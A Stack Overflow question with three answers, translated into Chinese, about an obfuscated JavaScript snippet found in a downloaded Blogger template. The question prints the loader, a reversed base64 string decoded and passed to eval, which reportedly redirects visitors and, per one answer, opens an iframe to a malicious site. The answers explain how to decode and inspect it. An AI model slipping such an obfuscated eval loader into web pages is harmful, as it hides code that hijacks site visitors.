在javascript中这是什么编码语言?

时间:2014-09-12 07:08:14

标签: javascript blogger

我有下面的脚本,我不知道是不是要开始搜索,因为我不熟悉代码。

该代码包含在我的博客blogger.com上

具体来说,它来自我下载的模板。

我想修改那段代码,因为它注入了一些文字,我很好奇他们是如何做到的。

它的作用是,当我删除id =“someID”的元素时,他们会将我的页面重定向到他们的网站。

注意:我删除了中间部分的一些脚本,因为它太长而且无法通过此站点处理。

更新:我删除了var I1I的中间值

这是完整的脚本http://jsfiddle.net/0xmz6cf6/

<script>//<![CDATA[
var I1I='=oQKpkyJ8dCK0lGbwNnLnQHelRnMywncn1WaBBDfkxWaoNEZuVGcwFGfwIzMyIDfwRHdoJjM8RHanlWZoBjM89GUK1GcxYTTwt0c8hGdkl2dwIDfnBna8BDMyIjM8VGbiFGbpFmdh91YpB3Xv5GfwE0M8RHanlmc8BDM2Ezc85WanJXYtJjM8xGbh12cflXYsB3XyVmdvhmMywHZs9mQhFEM8R3cvBVeyFWbtV3cBBDfr9GfzR3cvBnclRWasNHMyw3ZtlUbvRmbhJ1dvh2cBBDfkFWZoxXZtFmTnFGV5J0c05WZtVGbFRXZnx3drhGUwJlQ0w0bax3YyNHdldGflxWe0NHMywXQDFUQBFUQBFUQBx3bm5Wa8NmczxHc0RHa8Rnbl1WZsVUZ0FWZyNGfmVmc8l0Z28FNwVnb3ZTV8lGchlnclVXcqxXbvNGfMJVV8JXZkFWZoN0M8xWZiFGbjRnMywHNoN0M8R2Q1wnclRmcvJGMywnclJnclZWZyxHbyVHfyVGZhVGa8J3ZtlWRzwnbp9ma8Fzc0N3bwxWZiFGbwIDf0h2ZpJHMywHM1EDMywHdz9GctVnbwIDf5JXYk52bjV2cyIDf1MHdz9GcsVmYhxGMywHdwJXZjhXZ8BzNwIDfy9GbvNmMywnbpdmch1GMywHdmVGb8Rzc0N3bwxWZiFGbwIDf4BXNwIDfuJXd0VmcwIDf4JHdzBjM8hnc0NHOywXMzR3cvBXb15WQwwHbvNGMywHdz9GctVnbBBDfwUDMywHdvB3cn9GbixHdwlmcjN3QzwXZsTY8MGK4I2epMGK3IWPltXKkxSZssGLjxSYsAHK3IGKqJ2Jo0Hcg4mc1RXZy1Xfp01YbtGLpcyZnwyJixFXnsSKjhSZrciYcx1JoAHeFdWZSBydl5GKlNWYsBXZy5Cc9A3ep01YbtGKml2ep0SLjhSZslGa3tTfpkiNzgyZulmc0N1b05yY6kSOysyYoUGZvNkchh2Qt9mcm5yZulmc0N1P1MjPpEWJj1zYogyKpkSKh9yYoQnbJV2cyFGcoUmOncyPhxzYo4mc1RXZytXKjhibvlGdj5Wdm1TZ7lCZsUGLrxyYsEGLwhibvlGdj5WdmhCbhZXZ';
function _0lO(data) {
    var _10OlOI = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
    var o1, o2, o3, h1, h2, h3, h4, bits, i = 0,
        enc = '';
    do {
        h1 = _10OlOI.indexOf(data.charAt(i++));
        h2 = _10OlOI.indexOf(data.charAt(i++));
        h3 = _10OlOI.indexOf(data.charAt(i++));
        h4 = _10OlOI.indexOf(data.charAt(i++));
        bits = h1 << 18 | h2 << 12 | h3 << 6 | h4;
        o1 = bits >> 16 & 0xff;
        o2 = bits >> 8 & 0xff;
        o3 = bits & 0xff;
        if (h3 == 64) {
            enc += String.fromCharCode(o1)
        } else if (h4 == 64) {
            enc += String.fromCharCode(o1, o2)
        } else {
            enc += String.fromCharCode(o1, o2, o3)
        }
    } while (i < data.length);
    return enc
}
function _10O(string) {
    var ret = '',
        i = 0;
    for (i = string.length - 1; i >= 0; i--) {
        ret += string.charAt(i);
    }
    return ret;
}
eval(_0lO(_10O(I1I)));
//]]>
</script>

3 个答案:

答案 0 :(得分:2)

它本身不是'编码语言':它只是尝试obfuscate the code在页面上执行。它实际上是(至少)双重编码的。 )

第一阶段很容易打开:只需用eval(_0lO(_10O(I1I)))替换console.log(_0lO(_10O(I1I))) - 你就可以在控制台中找到源代码。我准备了a simple demo,但显然不会显示整个代码(因为你删除了编码文本的某些部分)。

然而,你得到的代码不是代码 - 这是packer处理原始资源的结果,我提到的第二阶段。这里的the question更详细地讨论了这个问题。最重要的是,有一个useful site 允许您解压缩代码。

答案 1 :(得分:2)

您所拥有的代码是base64编码的数据,这些数据已经从前向后反转。

在这一行:

eval(_0lO(_10O(I1I)));
  • 首先_10O(I1I)撤消I1I,使其顺序正确。
  • 然后_0lO()将从base64解码为数据(在本例中是包含混淆JavaScript的常规字符串值)。
  • 最后,eval()(已知是邪恶的,BTW)将解码后的文本评估为JavaScript。

要找出那里的脚本,只需用以下代码替换上面的行:

console.log(_0lO(_10O(I1I)));

至于修改它,我会说只需要解码后的代码,修改它,然后将它放回到你的网站上,而不会有任何人可以破解的愚蠢编码。

答案 2 :(得分:1)

所以,我深入挖掘一下,这就是我发现的:

function _10O(string) {
    var ret = '',
        i = 0;
    for (i = string.length - 1; i >= 0; i--) {
        ret += string.charAt(i);
    }
    return ret;
}

此函数不会镜像给定的字符串。因此,ABC将是CBA。它用于将给定的var I1I(实际镜像的base64)镜像到base64。然后它由_0lO函数进行base64解码。

此操作_0lO(_10O(I1I)的输出应该类似于:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.from​CharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){............ // I have stripped that here to not include any malicious code inside Stack Overflow!

这仍然是一个混淆的字符串,但它将由脚本中的eval执行。

查看有关恶意脚本的this site,我在其中通过使用Google搜索功能查找脚本的部分解码内容来查找脚本的实际内容。

因此,我们假设:这是一个恶意的,混淆的和base64编码的脚本,用于向恶意网站开放<iframe>

注意:在我的计算机上运行此操作会受到防病毒弹出窗口的影响,因此请小心。我已将代码删除,不包括整个恶意eval内容。